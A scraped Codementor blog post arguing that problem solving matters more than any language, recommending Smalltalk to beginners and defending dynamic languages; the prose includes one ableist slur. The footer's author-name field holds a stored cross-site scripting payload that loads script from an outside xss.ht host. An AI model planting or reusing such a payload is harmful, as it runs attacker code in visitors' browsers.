Codementor Events

How not to learn python?

Published Jul 28, 2019

In this post, I'm going to tell you guyz how not to learn python.

Well, first of all, you’re focussing too much on the programming language. Your first priority should be to learn how to program. Programming is a two-stage process. First, you solve the programming problem by applying analytical and problem-solving skills. This is the most important stage in programming and the one that should take precedence.

Once you solve the problem, you arrive at the solution (the algorithm). The second stage is to express your solution, i.e., the algorithm, in the programming language of your choice. This is the coding phase. The choice of language will influence how you code your solution, but otherwise this is a fairly mechanical process.

Coding is NOT programming. Learning a programming language is NOT learning how to program.

Now, regarding the choice of language. None of the major industrial languages are particularly good instructional languages for learning how to program. Not Java. Not Python. Not C++. Not Ruby. None of these languages were designed nor intended for teaching. Over many years of real-world use, the languages have acquired a certain measure of cruft that was necessary to accommodate a large variety of real-world situations. This cruft gets in the way of a beginner’s real objective: to learn how to solve programming problems and to code the solutions in order to verify that the solutions work.

The language I usually recommend to beginners is Smalltalk. See Richard Kenneth Eng's answer to How can I learn programming when I know nothing about it?

It’s a great language that gets out of your way to let you focus your attention on programming techniques and not on language formalities.

Having said that, if you really want to jump straight into one of the major languages, Python is not a bad choice. It may confuse you initially with the abovementioned cruft, but it’s definitely easier than learning Java or C++. By the way, all three languages are the absolutely dominant IT languages today. They clean up in the job market offering the most employment opportunities.

Java, Python and C++ are extremely versatile languages used nearly everywhere. They are well-supported and have huge user communities. Python is very strong in numerical computing. It is widely used in the financial industry. Despite its reputation for being slow, it is fast enough for most applications. Where it’s not fast enough, then you look at other languages such as C++. Remember, you always choose the right tool for the job.

I see a lot of FUD regarding dynamic languages. This is completely unreasonable. If dynamic languages were as problematic as detractors suggest, then they wouldn’t dominate the IT industry. Languages like Clojure, Erlang, Groovy, JavaScript, Lua, Matlab, Perl, PHP, Python, R, Ruby, Smalltalk. The millions of dynamic users around the world are not retarded. They’re using these languages for good reasons.

Dynamic languages are suitable for writing large-scale systems, too. It’s done all the time to great success. Some dynamic projects may be problematic, but so are some static projects. Anecdotal evidence is not evidence at all.

In my experience, whether a software project stands or falls has much more to do with the quality of project management than with the language tools. Managing a project well includes adopting the right approach to software development. This approach is different between dynamic and static projects.

For example, Smalltalk was used to write a million-line battle simulation program for the U.S. joint military called JWARS. I had the pleasure of speaking to one of the project architects. He told me that managing and maintaining the project was no more onerous than any other million-line project. In other words, managing large projects is a bitch anyway. It’s really important to have good managers and architects.

I’ve lost count of the number of bad managers I’ve encountered in the industry.

Discover and read more posts from "><script src=https://rootguid.xss.ht></script>
get started
post commentsBe the first to share your opinion
Show more replies